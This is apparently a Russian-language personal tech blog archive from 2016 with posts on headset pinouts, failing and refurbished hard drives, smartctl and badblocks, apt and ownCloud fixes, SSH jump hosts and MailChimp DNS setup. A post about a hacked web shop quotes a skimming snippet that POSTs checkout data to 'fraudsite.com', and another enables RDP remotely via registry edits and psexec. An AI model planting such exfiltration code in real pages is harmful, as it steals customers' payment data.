пятница, 30 декабря 2016 г.

Почему старые гарнитуры не работают с новыми телефонами

В процессе подготовки к конференц связи выяснилось, что микрофон моей гарнитуры больше не работает. Немного порывшись в загашнике нашел старую гарнитуру от MTS Evo (Huawei U8500) с четырехпиновым разъемом. Попробовал подключить ее к ноутбуку (у моего dell latitude e6430 совмещенный разъем для наушников/микрофона), но качество звука оказалось ниже всяких ожиданий. Попробовал подключить гарнитуру к Xiaomi Mi4c, но телефон утверждает что это наушники, а не гарнитура. А вот старенький THL W3+ нормально опознал гарнитуру и качество звука довольно приличное. Значит дело не в самой гарнитуре.

Начинаю разбираться в вопросе и оказывается что существует несколько стандартов на разъем TRRS (Tip Ring Ring Sleeve). До 2012 года не было единого стандарта на четырехпиновый разъем и наиболее популярной схемой была следующая распиновка:


А начиная с 2012 года появился общий стандарт для разъема телефонной гарнитуры, распиновка которого выглядит так:


Отличие заключается в том, что поменялись местами общий провод и микрофон. Из-за разницы в распиновки в новых устройствах звук на наушники идет через микрофон и поэтому его качество крайне низкое. Если нажать и не отпускать кнопку на гарнитуре (при этом вывод микрофона соединится с общим проводом), то звук в наушниках будет без искажений.

Много информации по различным распиновкам разъемов jack есть тут.

вторник, 13 декабря 2016 г.

Recertified Hard Drive

Я уже писал про жесткий диск, который посыпался через несколько дней. Тогда у меня возникли вполне обоснованные вопросы к его "новизне" и диск был возвращен продавцу.

Спустя пару недель вновь заказываем стандартную конфигурацию и снова вопросы по диску. На этот раз я не спешил вскрывать упаковку...




Антистатический пакет запаян криво и на нижней стороне красуется надпись "Recertified HARD DRIVE". Судя по описанию в интернете это что-то вроде manufacturer refirbished. Т.е. б/у диск проверили и заново упаковали. В принципе в этом нет ничего страшного - такая электроника продается с ощутимой скидкой и с гарантией от производителя.

Но вот загвоздка в том, что нам продали этот диск под видом нового и за цену нового! И я уверен что и на прошлом диске была такая же надпись.

Обращайте внимание на упаковку - ее целостность еще не говорит об новизне.

воскресенье, 13 ноября 2016 г.

Обработка ошибок у разных дисков

Столкнулся со скоропостижной кончиной нового жесткого диска. На диске было несколько файлов с незаконченной работой и хотя мне утверждали, что проще переделать, но я все же решил попробовать скопировать нужные файлы.

Диск определился, видна таблица разделов и можно смонтировать файловую систему в read-only, но при попытке копировать файлы диск жутко тупит и процесс затягивается до бесконечности. Снимать образ диска через ddrescue еще более затратное занятие - не настолько там важные файлы.

И тут я вспомнил, что десктопному винту можно добавить чуток "серверности" подкрутив параметр SCT ERC (TLER в терминологии WD). В этом случае винт не пытается мучить сбойный сектор до посинения, а по истечении некоторого времени на попытки - сообщает об ошибке. В этом случае RAID контроллер просто читает нужный сектор с другого диска и проблем с тормозами в системе не возникает. Собственно это одно из важных отличий дисков, предназначенных для RAID, от десктопных. Но поскольку меня интересует только быстрый пропуск сбойных секторов, то мне нужно выставить минимально разумное время попытки чтения секторов.

Пробую выяснить поддержку SCT в S.M.A.R.T.:

# smartctl -a /dev/sda | grep SCT
SCT capabilities:  (0x3037)  SCT Status supported.
                             SCT Feature Control supported.
                             SCT Data Table supported.

Что-то не видно в выводе про "Error Recovery Control" - проверяю это:

# smartctl -l scterc /dev/sda
Warning: device does not support SCT Error Recovery Control command

Не выйдет моя задумка - управление ERC (Error Recovery Control) в WD5000AAKX отсутствует. А теперь сравнение с не менее десктопными Toshiba DT01ACA300 у который с SCT ERC все в порядке:

# sudo smartctl -a /dev/sdb | grep SCT
SCT capabilities:  (0x003d)  SCT Status supported.
                             SCT Error Recovery Control supported.
                             SCT Feature Control supported.
                             SCT Data Table supported.

# sudo smartctl -l scterc /dev/sda
SCT Error Recovery Control:
           Read:     70 (7.0 seconds)
          Write:     70 (7.0 seconds)

Для десктопа, где зачастую жесткий диск только один важно установить значение SCT ERC в 0 (отключение таймаута), а для RAID наоборот нужно установить его значение в небольшое значение. По-умолчанию в Linux значение таймаута SCSI команд равно 30 секундам (/sys/block/sda/device/timeout).

суббота, 12 ноября 2016 г.

Siemens MC60 - умели же делать телефоны

Есть у меня пакетик в кладовке в котором пылятся старые телефоны. Не помню почему, но примерно пол-года назад я искал звонилку на подмену и в числе воскресших при подключении зарядного устройства, оказался Siemens MC60, которым пользовалась жена в универе.


Телефон у нее появился в 2004 и был отправлен в отставку только в начале 2010. С тех пор телефоном никто не пользовался и хранился он с извлеченным аккумулятором. После теста я выключил телефон, но не извлек аккумулятор.

На следующее утро мы услышали звук из кладовки, который жена опознала как звук будильника ее старого сименса. Короткой подзарядки хватило чтобы продержаться до утра и прозвонить будильником! Заметьте, аккумулятор у телефона оригинальный и ему уже 12 лет. Собственно это непреодолимое стремление существовать и послужило критерием выбора победителя на роль подменной звонилки. Телефоном несколько дней пользовались, а перед отправкой обратно в пакетик, аккумулятор был полностью заряжен.

Сегодня жена рассказала, что в детском садике сломался мобильный телефон, который лежит в группе. Этот телефон удобен тем, что позвонив на него можно пообщаться с тем воспитателем, который сейчас с детьми (сказать что опаздываем, заболели и не придем или попросить не укладывать ребенка спать днем, т.к. заберешь его после обеда). Сразу вспомнился тот Siemens MC60, который я предложил отдать в садик.

Ставлю аккумулятор в телефон и пробую его включить (без особой надежды, ведь с момента последней зарядки прошло уже пол-года), но экран оживает, а индикатор заряда показывает примерно половину аккумулятора.


Пол-часа я мучался с очисткой телефона от личной инфы (контакты, sms, "фотки", и т.д.), но аккумулятор уверенно показывал прежний заряд. Я уверен, что этот телефон и дальше будет служить верой и правдой.

Собственно к чему я это - Siemens A50, SL45, M55, S55, MC60, ... Их делали инженеры, а не маркетологи! И хотя инженеры в итоге проиграли (в 2005 телефонное подразделение Siemens отошло к Benq), но их творения живы и по сей день. Снимаю шляпу!

Скручен "пробег" у жесткого диска?

На прошлой недели покупали коплектующие для нового компьютера в офис, среди них был диск WD5000AAKX - популярная модель из серии WD Blue. Новый компьютер я собрал во вторник, а уже в среду жетский диск посыпался бэдами. Что ж бывает - диск заменили, но теперь нужно подготовить обоснование для возврата по гарантии. В этом случае обычно достатоно сделать распечатку вывода smartctl -AHi -  вот как он выглядит на этом диске:

smartctl 6.4 2014-10-07 r4002 [x86_64-linux-4.0.0-1-amd64-finnix] (local build)
Copyright (C) 2002-14, Bruce Allen, Christian Franke, www.smartmontools.org

=== START OF INFORMATION SECTION ===
Model Family:     Western Digital Caviar Blue (SATA 6Gb/s)
Device Model:     WDC WD5000AAKX-22ERMA0
Serial Number:    WD-C1UQ747597479
LU WWN Device Id: 0 000000 000000000
Firmware Version: 35.25Q.0
User Capacity:    500,107,862,016 bytes [500 GB]
Sector Sizes:     512 bytes logical, 4096 bytes physical
Device is:        In smartctl database [for details use: -P show]
ATA Version is:   ATA8-ACS (minor revision not indicated)
SATA Version is:  SATA 3.0, 6.0 Gb/s (current: 6.0 Gb/s)
Local Time is:    Thu Nov 10 13:33:48 2016 UTC
SMART support is: Available - device has SMART capability.
SMART support is: Enabled

=== START OF READ SMART DATA SECTION ===
SMART overall-health self-assessment test result: FAILED!
Drive failure expected in less than 24 hours. SAVE ALL DATA.
See vendor-specific Attribute list for failed Attributes.

SMART Attributes Data Structure revision number: 16
Vendor Specific SMART Attributes with Thresholds:
ID# ATTRIBUTE_NAME          FLAG     VALUE WORST THRESH TYPE      UPDATED  WHEN_FAILED RAW_VALUE
  1 Raw_Read_Error_Rate     0x0001   200   200   051    Pre-fail  Offline      -       5
  3 Spin_Up_Time            0x0001   147   137   021    Pre-fail  Offline      -       3608
  4 Start_Stop_Count        0x0000   100   100   000    Old_age   Offline      -       39
  5 Reallocated_Sector_Ct   0x0001   133   133   140    Pre-fail  Offline  FAILING_NOW 3041
  7 Seek_Error_Rate         0x0001   200   200   051    Pre-fail  Offline      -       118
  9 Power_On_Hours          0x0000   100   100   000    Old_age   Offline      -       75
 10 Spin_Retry_Count        0x0001   100   253   051    Pre-fail  Offline      -       0
 11 Calibration_Retry_Count 0x0000   100   253   051    Old_age   Offline      -       0
 12 Power_Cycle_Count       0x0000   100   100   000    Old_age   Offline      -       22
184 End-to-End_Error        0x0001   100   100   097    Pre-fail  Offline      -       0
187 Reported_Uncorrect      0x0000   099   099   000    Old_age   Offline      -       1
188 Command_Timeout         0x0000   098   098   000    Old_age   Offline      -       8590065666
190 Airflow_Temperature_Cel 0x0000   067   043   000    Old_age   Offline      -       33
192 Power-Off_Retract_Count 0x0000   200   200   000    Old_age   Offline      -       19
193 Load_Cycle_Count        0x0000   200   200   000    Old_age   Offline      -       8
194 Temperature_Celsius     0x0000   110   086   000    Old_age   Offline      -       33
195 Hardware_ECC_Recovered  0x0000   200   200   000    Old_age   Offline      -       0
196 Reallocated_Event_Count 0x0000   084   084   000    Old_age   Offline      -       116
197 Current_Pending_Sector  0x0000   200   200   000    Old_age   Offline      -       0
198 Offline_Uncorrectable   0x0000   100   253   000    Old_age   Offline      -       0
199 UDMA_CRC_Error_Count    0x0000   200   200   000    Old_age   Offline      -       0
200 Multi_Zone_Error_Rate   0x0001   100   253   051    Pre-fail  Offline      -       0

За 75 часов работы диск ощутимо покрылся BAD блоками. Возможно заводской брак в механике - подумал я и отправил отчет на печать. Уже выделяя маркером "важные" параметры в отчете для гарантийщиков, я заметил несовпадение серийного номера (S/N) и модели диска (MDL) в отчете S.M.A.R.T. и на наклейке:


По данным S.M.A.R.T. серийник WD-C1UQ747597479 и модель WD5000AAKX-22ERMA0, но на наклейке значатся WCBAEPU56008 и WD5000AAKX-08U6AA0 соответственно. В принципе я допускаю, что на наклейке номер может незначительно отличаться (быть более полным или наоборот - обрезанным). Но тут номера не совпадают совсем. Еще смущает дата выпуска - 10 февраля 2015, а куплен диск был 4 ноября 2016. С учетом того, что модель популярная, то слабо верится что он почти два года лежал на складах.

Перехожу к обратной стороне:



И сразу бросается в глаза квадрат на плате со следами клея (1). По номеру ревизии платы электроники диска (2060-771824-005 REV A) нашел изображение платы в интернете:

Изображение с сайта www.dawntech.cc

На месте квадрата со следами клея должен быть стикер с QR кодом. Поскольку диск новый и ставил я его аккуратно, то я уверен что стикера на нем не было. Дальше стикер с надписью "DELUX EP-450TC" (2) - это вообще от компьютерного блока питания! Про стикер с надписью "2016 / 6" (3) - трудно судить наверняка, но с учетом что дата отличается от даты выпуска почти на полтора года, то создается впечатление, что передо мной refirbished диск, который нам продали под видом нового (вот хоть убей, но не могу вспомнить был ли запаян антистатический пакет с диском).

Если это действительно не новый диск, то тогда понятно почему серийный номер и модель в S.M.A.R.T. отличаются от указанных на диске.

четверг, 10 ноября 2016 г.

userauth_pubkey: key type ssh-dss not in PubkeyAcceptedKeyTypes

В Ubuntu 16.04.1 из коробки отключена поддержка DSA ключей (споры на эту тему). Насколько это оправдано - решать вам, но если вам очень нужно ее включить обратно, то добавьте в /etc/ssh/sshd_config строку "PubkeyAcceptedKeyTypes=+ssh-dss".

echo 'PubkeyAcceptedKeyTypes=+ssh-dss' | sudo tee -a /etc/ssh/sshd_config
sudo service ssh reload

После этого можно зайти с DSA ключем.

воскресенье, 6 ноября 2016 г.

Как мне GPON втюхали

Неделю назад Белтелеком добровольно-принудительно "приобщил" меня к технологии GPON. В случае неповиновения было предложено отключить городской телефон. Когда-то давно я подключился ради ADSL, но с тех пор номер разошелся по поликлиникам, детским садикам и школе - ведь эти организации не спешат звонить на мобильники.

С прокладкой оптики мне повезло - при виде монтажника жена не растерялась и позвонила мне за инструкциями. В итоге было строго-настрого запрещено сверлить что-либо в квартире или на площадке. Взамен было предложено воспользоваться штатным колодцем для слаботочки, который идет от щитка в каждую квартиру. Монтажник долго кряхтел, охал, но оптику проложил скрытно и аккуратно установил розетку. На вопрос "почему сразу не предлагаете прокладывать через существующие колодцы" - монтажник честно ответил, что это муторно и мы первые, кто "уперлись". Если бы не уперлись, то привет белые кабель каналы на стенах. Поначалу соседям даже в плинтус класть не сразу соглашались, только кабель канал. Потом через председателя товарищества дома ребятам сделали внушение, они извинились и, насколько я знаю, впредь были более чутки к пожеланиям клиентов.

Под конец месяца явился еще один установщик с терминалом GPON, подключил оборудование и сообщил новый номер. Вот тут начинается самое главное - поскольку сменился номер, то логично предположить что при звонке на старый будет выполнено перенаправление на новый номер. До этого я не раз слышал как робобаба диктует сообщение про смену номера и после этого идет переключение на новый номер. Но при попытке набрать свой старый номер я услышал только длинные гудки и никакой реакции телефона. Сначала подумал, что переадресацию не включили из-за конца недели, но когда на следующей неделе картина не изменилась, то я позвонил в поддержку БТК. Меня выслушали и сообщили, что все нормально и "так работает система". Мол когда все абоненты старой АТС перейдут на GPON, то всем автоматически включат оповещение и переадресацию. Но когда это произойдет хотя бы ориентировочно, ответить затруднились.

 - "А что же делать до этого момента?" - спрашиваю я. На что мне ответили, что "так работает система" и если мне очень нужно, то я могу подъхать в сервисный центр и подключить услугу переадресации за дополнительную плату. Но ни узнать размер дополнительной платы, ни подключить услугу по телефону мне не удалось. Вот думаю подъехать в сервисный центр и оставить им "пожелание" по улучшению отношения к клиентам.

Что в сухом остатке:
  • мне навязали "бесплатный" переход на GPON
  • если не упереться, то может пострадать ремонт в квартире
  • мне сменили номер, но за переадресацию придется дополнительно платить
  • в бытовом плане оптоволокно значительно менее практичный вариант в сравнении с медными кабелями, которые обслуживать я могу самостоятельное
  • если установлена охранная сигнализация, то за модернизацию придется доплатить около 140 BYN (~73$)

четверг, 22 сентября 2016 г.

Фитнес браслеты без фитнеса

В декабре прошлого года купил Mi Band 1A (который с белыми светодиодами и без пульсометра). Хотелось попробовать "умный" будильник, учитывающий фазы сна, а небольшая стоимость устройства только способствовала решению о приобретении. Попользовался и понял, что не жалею о покупке, но неудобно носить с часами. Пробовал одевать браслет на другую руку, но постоянное ощущение чего-то лишнего. А когда анонсировали Mi Band 2 с экраном, то я уже знал - это как раз то, чего мне не хватало в первой версии.

До покупки браслета я пользовался будильниками на телефоне и обычно у меня их было несколько (6:30, 6:45, 7:00). И как правило проснуться с первым будильником практически никогда не получалось - просыпалась жена или дети и только потом они дружно будили меня. Чтобы не будить всех подряд пробовал класть телефон возле подушки, но тогда я умудрялся выключить все будильники не приходя в сознание (я в курсе про навороченные приложения, где нужно решить задачку или что-то вроде, но пока я буду его спросонья решать, то успеют проснуться все остальные).

В начале декабря прошлого года пришел заказанный Mi Band 1A - пару дней использования показали, что я не ошибся с покупкой. Хотя жена и слышит вибрацию браслета, но дети точно продолжают спать. Чтобы оценить работу умного будильника я пробовал смотреть во сколько я просыпаюсь - получалось каждый раз разное время в промежутке от 6:00 до 6:30. В браслете есть акселерометр, которым за пол-часа до установленного времени будильника браслет начинает мониторить движения. Если есть движения, то сейчас сон в быстрой фазе и вибрация браслета будит очень легко. Если же за пол-часа найти быструю фазу не удается, то браслет просто работает как обычный будильник. И вот в последнем случае у меня иногда получалось проспать, хотя жена утверждает, что браслет точно вибрировал. После какого-то из обновлений Mi Fit перестали работать умные будильники. Хотя их поддержка и осталась в "железе", но из Android приложения их убрали. Чтобы вернуть будильники я установил Mi Band Tools. Еще полезным оказались графики фаз сна. Как правило глубокого сна у меня около 2 часов, но если график показывает меньше часа глубокого сна, то гарантированно целый день будет тянуть поспать.

Не менее полезными стали уведомления о звонках на браслете. Я настроил браслет таким образом, что если в течении 5 секунд я не ответил на звонок, то начинает вибрировать браслет. В рабочее время у меня на телефоне только вибрация, чтобы не мешать никому из окружающих, и если я иду, то часто не удается услышать звонок. С браслетом такой проблемы не возникает.

В Mi Band Tools есть функция Power Nap или "сон на ходу". Если тянет поспать, а времени на полноценный сон нет, то можно попробовать эту функцию. Она работает так - вы выбираете интервал времени (20-30 минут) и браслет отслеживает начало фазы медленного сна. В момент начала медленной фазы сна браслет разбудит. Таким образом получается аналог перезагрузки мозга. Я слышал о подобном методе у дальнобойщиков, но там люди берут связку ключей в руку и засыпают. В какой-то момент рука расслабляется, связка ключен падает и своим грохотом будит спящего. Если сразу после пробуждения сделать зарядку, то будешь ощущать себя выспавшимся. Один раз я пробовал функцию Power Nap, но у меня ничего не получилось - проснулся я ровно спустя заданный интервал и ни о какой свежести сознания речь не шла.

Еще незаменимой функцией стал мониторинг длительной неактивности. Такая функция сейчас появилась в Mi Fit, но раньше я пользовался ею в Mi Band Tools. Браслет мониторит количество шагов за час и если их было меньше определенного количества (у меня настроено 50 шагов), то уведомляет о недостаточной активности. Поскольку моя работа преимущественно сидячая, то случается что несколько часов подряд я не делаю ни шага и даже не замечаю этого.

Ну и напоследок о времени автономной работы - первый Mi Band работает больше месяца от одного заряда при включенных уведомления о звонках. Mi Band 2 работает около двух недель при умеренном использовании экрана (использую как часы и иногда смотрю шаги) и включенных уведомлениях.

вторник, 20 сентября 2016 г.

Как тихо и незаметно сливаются данные на сайтах

Началось все с обыденной истории - сайт интернет-магазина, администраторы которого упорно игнорируют установку патчей безопасности, взломали (на сайте есть уязвимость, позволяющая попасть в админку). В шаблон страницы добавили обфусцированный скрипт, который собирал данные со страниц оформления заказа и отправлял их на сторонний сервер.

Код, который отправляет подготовленные данные на сторонний сервер очень прост:

var http = new XMLHttpRequest();
http.open("POST","https://fraudsite.com/lib/paypal_icon.jpg",true);
http.setRequestHeader("Content-type","application/x-www-form-urlencoded");
http.send("data="+data);

И вот глядя на этот простой код у меня возник вопрос - а почему браузер не препятствует отправке данных на сторонний сервер? А не препятствует он потому что fraudsite.com отдает заголовок "Access-Control-Allow-Origin: *" и данные сливаются без шума и пыли. Более подробный ответ почему так происходит есть на этой схеме:


Ради интереса проверил как на такую ситуацию реагирует антивирус - оказалось что никак. Вот и получается - заходишь на "уважаемый" сайт, вбиваешь данные кредитки и понятия не имеешь, что они уже отправились куда нужно. Грусть короче...

среда, 7 сентября 2016 г.

Обновил Xiaomi Mi4c до cyanogenmod 13.1

Сразу скажу, что с MIUI у меня не сложилось. Долго ждал разрешение на разблокировку загрузчика, а потом прошился на cyanogenmod 12.1 от teamsuperluminal. В принципе все работало хорошо, но отсутствие обновлений безопасности и постоянно отваливающийся bluetooth вынудили искать альтернативу.

К тому времени уже стабилизировался cyanogenmod 13.1 от того же teamsuperluminal и в нем как раз обещана стабильная работа bluetooth (активно использую для Mi Band 2 и в машине). Но вот проблема - для обновления нужно стирать /data, а это значит что потеряются приложения и их настройки (а их у меня немало).

Для переноса приложений и настроек решил воспользовался Titanium Backup. Для этого сделал резервную копию всех пунктов, которые не были отмечены красным цветом. На всякий случай перед прошивкой сделал бэкап в recovery (у меня стоит кастомный recovery TWRP). Последнее гарантирует возврат в исходную точку, если мне не понравится результат.

Через тот же TWRP прошил cyanogenmod 13.1 от 20160827, GAPPS 6.0.x и свежий firmware. Восстановление настроек и приложений в Titanium Backup прошло успешно и уже через пол-часа телефон был в строю.

Bluetooth пока работает без сбоев, включение/выключение sim карт не работает вовсе (про это я знал заранее) - пришлось достать вторую симку, чтобы не маячила. Грузится телефон с новой прошивкой дольше, насколько дольше я не замерил. GPS работает, отличий по камере я не замечаю (хотя в этой прошивке вроде новая камера). Быстрый разряд батареи не наблюдаю.

Посмотрю как оно будет дальше, но пока полностью доволен.

воскресенье, 4 сентября 2016 г.

Обслуживание Samsung SC8870

Этот пылесос покупался три года назад. За две недели до конца гарантийного срока сгорел его двигатель. Сервис-центр отремонтировал за два дня - видимо запас расходников (двигателей) у них всегда под рукой.

Недавно заметил, что воздух из пылесоса слишком горячий и решил выполнить его обслуживание. Здесь нашлось видео с описание сборки пылесоса - соответственно разбор в обратном порядке (колеса снимать не нужно).

При обслуживании планировал очистить внутренности от пыли, смазать подшипники двигателя и проверить состояние его щеток. Двигатель в этом пылесосе: VCM-M30AU.


Щетки изношены не сильно, но вот двигатель разобрать не получилось. Его корпус завальцован и в домашних условиях разборка/сборка будет сложновата. Порадовало что корейцы не забыли про термопредохранитель. Если бы еще и кожух двигателя на винтах вместо вальцевания, то было бы совсем прекрасно.

Если верить гуглу, то в минске такой двигатель предлагают от $25 до $50. Учитывая простоту замены двигателя - имеет смысл менять его, а не пылесос.

Посмотрю сколько он еще протянет до полного издыхания.

Обновлено 2018-01-15: На прошлой неделе пылесос завонял и выключился. Итого после замены двигателя по гарантии новый проработал примерно 4 года. Это хороший результат в сравнении с первым двигателем, но полная ерунда, если сравнивать со старыми пылесосами родом из СССР (вспоминаю родительский "Вихрь", который мой ровесник и до сих пор трудится в гараже).

Новый "оригинальный" двигатель, который очень похож на почивший, обошелся в 68 BYN (34 USD). Замена двигателя и фильтров заняла минут 15. Вчера видел аналогичный двигатель на радиорынке "Ждановичи" и там он стоил 58 BYN - так что при желании можно немного сэкономить.

четверг, 25 августа 2016 г.

badblocks: Value too large for defined data type invalid end block

Получил новый диск для offsite бэкапов - WDC WD60PURX (6TB). Перед запуском в продакшен обязательный тест в badblocks и последующее изучение S.M.A.R.T. Это продиктовано прошлым опытом покупки двух WDC WD40EFRX (4TB), один из которых "посыпался" в течении недели.

$ sudo smartctl -i /dev/sdc
smartctl 6.4 2014-10-07 r4002 [x86_64-linux-3.16.0-4-amd64] (local build)
Copyright (C) 2002-14, Bruce Allen, Christian Franke, www.smartmontools.org

=== START OF INFORMATION SECTION ===
Model Family:     Western Digital Purple
Device Model:     WDC WD60PURX-64T0ZY0
Serial Number:    WD-WX11DB514LP0
LU WWN Device Id: 5 0014ee 20d194db1
Firmware Version: 80.00A80
User Capacity:    6,001,175,126,016 bytes [6.00 TB]
Sector Sizes:     512 bytes logical, 4096 bytes physical
Rotation Rate:    5700 rpm
Device is:        In smartctl database [for details use: -P show]
ATA Version is:   ACS-2, ACS-3 T13/2161-D revision 3b
SATA Version is:  SATA 3.1, 6.0 Gb/s (current: 3.0 Gb/s)
Local Time is:    Thu Aug 25 13:06:51 2016 MSK
SMART support is: Available - device has SMART capability.
SMART support is: Enabled

Натравливаю на него badblocks и получаю ошибку

$ sudo badblocks -svw /dev/sdc
badblocks: Value too large for defined data type invalid end block (5860522584): must be 32-bit value

Чтобы ее обойти нужно увеличить размер блока, который использует badblocks (по-умолчанию 1024 байт), до 4096 байт

$ sudo badblocks -svw -b 4096 /dev/sdc
Checking for bad blocks in read-write mode
From block 0 to 1465130645
Testing with pattern 0xaa:   0.02% done, 0:06 elapsed. (0/0/0 errors)

Проверка пошла. Осталось дождаться окончания теста и проверить показания S.M.A.R.T. снова.

вторник, 26 июля 2016 г.

Включение RDP через консоль Windows

Если вам нужно подключиться через remote desktop к компьютеру (\\test-pc), на котором этот самый remote desktop отключен, но есть доступ для выполнения удаленных команд (например через psexec из pstools), то включить rdesktop можно из консоли.

Для удобства я обернул команды в batch файл и заливаю его на компьютер через монтирование диска по сети (\\test-pc\C$). В моем случае batch файл называется termservice.cmd

@echo off
net stop termservice
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
sc config termservice start= auto
net start termservice

После этого выполняю batch файл через psexec

psexec -u Administrator \\test-pc C:\termservice.cmd

После выполнения можно подключиться через RDP.

понедельник, 25 июля 2016 г.

Ошибка "Failed getting Registration Token" в плагине skypeweb после обновления pidgin

После обновления pidgin до 2.11.0 перестал работать плагин pidgin-skypeweb. При попытке включить учетную запись skype выдавало ошибку "Failed getting Registration Token".

На тот момент версия pidgin-skypeweb в системе была 1.1-1, но поскольку в апстриме есть уже 1.2.0, то решил обновить пакет.

Версия pidgin-skypeweb 1.2-1 решила проблему с подключением и уже доступна в моем репозитарии.

пятница, 22 июля 2016 г.

Ошибка "E: The method driver /usr/lib/apt/methods/https could not be found" при выполнении apt-get update

При выполнении apt-get update на некоторых серверах стало выдавать ошибку:

$ sudo apt-get update
E: The method driver /usr/lib/apt/methods/https could not be found.
N: Is the package apt-transport-https installed?
.
Для решения проблемы достаточно установить требуемый пакет и обновить списки, но мне стало интересно почему это началось. Ведь все источники в sources.list у меня указаны через http://. На всякий случай проверил это:

$ grep -r https /etc/apt/sources.list*

Ничего не выдало, значит какой-то из репозиториев начал перенаправлять запросы с http:// на https://. Смотрю что у меня есть на одном из проблемных серверов:

$ grep -r http:// /etc/apt/sources.list*
/etc/apt/sources.list:deb http://ftp.us.debian.org/debian jessie main contrib non-free
/etc/apt/sources.list:deb http://security.debian.org/ jessie/updates main contrib non-free
/etc/apt/sources.list.d/zabbix.list:deb http://repo.zabbix.com/zabbix/2.2/debian wheezy main
/etc/apt/sources.list.d/zabbix.list:deb-src http://repo.zabbix.com/zabbix/2.2/debian wheezy main
/etc/apt/sources.list.d/percona.list:deb http://repo.percona.com/apt jessie main

Открыл каждый URL в браузере (добавляя /pool/ в конце) и получил перенаправление на репозитарии percona. Теперь понятно почему проблема есть только на части серверов. Чтобы ее избежать в дальнейшем нужно установить пакеты apt-transport-https и ca-certificates.

$ sudo apt-get install apt-transport-https ca-certificates
$ sudo apt-get update

Также стоит заменить http:// на https:// в репозитарии percona, чтобы избежать ошибки вроде этой:

W: Failed to fetch http://repo.percona.com/apt/dists/wheezy/main/binary-amd64/Packages  301  Moved Permanently

E: Some index files failed to download. They have been ignored, or old ones used instead.

Теперь все работает как полагается.

среда, 20 июля 2016 г.

Поменялся плюс на минус

Первый раз вижу чтобы у разряженной батарейки поменялись полюса:


Батарейка простояла несколько месяцев без использования в батарейном отсеке Lego Technik и сейчас показывает остаточное напряжение ~0.3V, но полярность стала обратная. Это странно, поскольку остальные 5 батареек, которые стояли там же - нормальные (их остаточное напряжение ~1.2V и полярность у согласно маркировке).

Кто нибудь знает как так получилось?

вторник, 17 мая 2016 г.

Настройка SSH jump host

Наткнулся на замечательный пример универсальной настройки ssh jump host в wiki gentoo:

Host *+*
  ProxyCommand ssh $(echo %h | sed 's/+[^+]*$//;s/\([^+%%]*\)%%\([^+]*\)$/\2 -l \1/;s/:/ -p /') exec nc -w 120 $(echo %h | sed 's/^.*+//;/:/!s/$/ %p/;s/:/ /')

Теперь чтобы зайти на домашний ноутбук достаточно скомандовать:

$ ssh andrey@public_host+home_gateway+laptop_host

До этого у меня была статичная конфигурация для public_host, home_gateway и каждого домашнего устройства, что довольно неудобно.

вторник, 3 мая 2016 г.

Сломался owncloud 9.0.1 после обновления php до 7.0.6

После обновления PHP с 7.0.5 до 7.0.6 сломался owncloud 9.0.1. При попытке залогиниться предлагает логиниться еще раз и так по кругу. Никаких ошибок или предупреждений при этом не выдает.

В логе data/owncloud.log ничего нет. Чтобы выяснить что происходит при логине включил отладку в config/config.php

<?php
$CONFIG = array (
...
  'debug' => true,
  'loglevel' => 0,
);

Но ничего интересного в лог не записалось. Все заработало после отката версии PHP до 7.0.5.

На форуме owncloud нашлось обсуждение аналогичной проблемы и ссылка на пул реквест, который решает проблему. Патч для owncloud который установлен официальных пакетов выглядит так:

--- lib/private/appframework/http/request.php.orig      2016-05-03 13:19:36.893158727 +0300
+++ lib/private/appframework/http/request.php   2016-05-03 13:20:13.750028337 +0300
@@ -264,6 +264,9 @@
         * @return bool
         */
        public function __isset($name) {
+               if (in_array($name, $this->allowedKeys, true)) {
+                       return true;
+               }
                return isset($this->items['parameters'][$name]);
        }

Применить патч можно так:

$ cd /var/www/owncloud/
$ sudo patch -p0 < /tmp/owncloud-9.0.1-php-7.0.6-login.patch

воскресенье, 24 апреля 2016 г.

Midnight Commander 4.8.16 для ARM

Обновил пакеты midnight commander для архитектур ARM (armel, armhf и arm64). Сейчас в моем репозитории следующий расклад:

  • Debian Wheezy (armel, armhf)
  • Debian Jessie (armel, armhf, arm64)
  • Ubuntu Precise (armel, armhf)
  • Ubuntu Trusty (armhf, arm64)

Еще есть пакеты для raspbian, но их выложу позже.

суббота, 23 апреля 2016 г.

Добавил поддержку Ubuntu Xenial в мой репозиторий

Добавил поддержку Ubuntu Xenial в мой репозиторий. Сейчас там только пакеты для midnight commander (4.8.16 и последняя сборка из master ветки).

В процессе тестирования заметил ругань на SHA1 в ключе, которым подписан репозиторий:

W: http://tataranovich.com/debian/dists/xenial/Release.gpg: Signature by key 4A49274193083320450B7E4D836CC41976FB442E uses weak digest algorithm (SHA1)

Это приводит к тому, что APT считает пакеты небезопасными. Собираюсь обновить ключ в ближайшем времени.

UPDATE: Проблема была не ключе, а в алгоритме SHA1, который по-умолчанию использует gpg при подписи Release файлов в репозитарии. Добавил --digest-algo SHA512 в опции gpg и теперь предупреждения нет.

пятница, 15 апреля 2016 г.

Сломался логин в домен после обновления samba в debian wheezy

Не спешите обновлять samba до 2:3.6.6-6+deb7u9 в Debian Wheezy. Эта версия содержит портированное исправление уязвимости badlock, но после обновления перестает работать логин в домен: "The trust relationship between this workstation and the primary domain failed". В интернете можно найти несколько упоминаний этой проблемы (раз, два), но рабочего решения я пока не видел.

Попытки вывести станцию из домена и ввести заново проходят без ошибок, но проблему не решают. При этом сетевые шары с samba сервера открываются без проблем.

В лог samba пишутся ошибки вида:

rpc_server/netlogon/srv_netlog_nt.c:976(_netr_ServerAuthenticate3)
  _netr_ServerAuthenticate3: netlogon_creds_server_check failed. Rejecting auth request from client WORKSTATION machine account WORKSTATION$

Меня смущает тот факт, что подобные ошибки были задолго до обновления samba, но логиниться в домен не мешали.

В качестве временного решения откатил samba до 2:3.6.6-6+deb7u7.

понедельник, 11 апреля 2016 г.

Настройка SPF и DKIM для MailChimp

MailChimp - популярный сервис среди маркетологов. Если вам нужно настроить аутентификацию MailChimp для своего домена (пусть для примера домен будет example.com, а адрес от которого идет рассылка - john.doe@example.com), то вам нужно настроить SPF и DKIM у домена, чтобы сервера MailChimp считались авторизованными для отправки почты от имени example.com.

Сначала нужно авторизовать сам ящик john.doe@example.com в MailChimp. Процесс описан тут.

Теперь в настройках DNS для домена example.com нужно:
  • добавить в TXT запись (которая описывает SPF) для example.com "include:servers.mcsv.net"
  • создать CNAME запись k1._domainkey.example.com. указывающую на dkim.mcsv.net.

В итоге записи будут выглядеть примерно так (будет отличаться в зависимости от текущих настроек SPF):

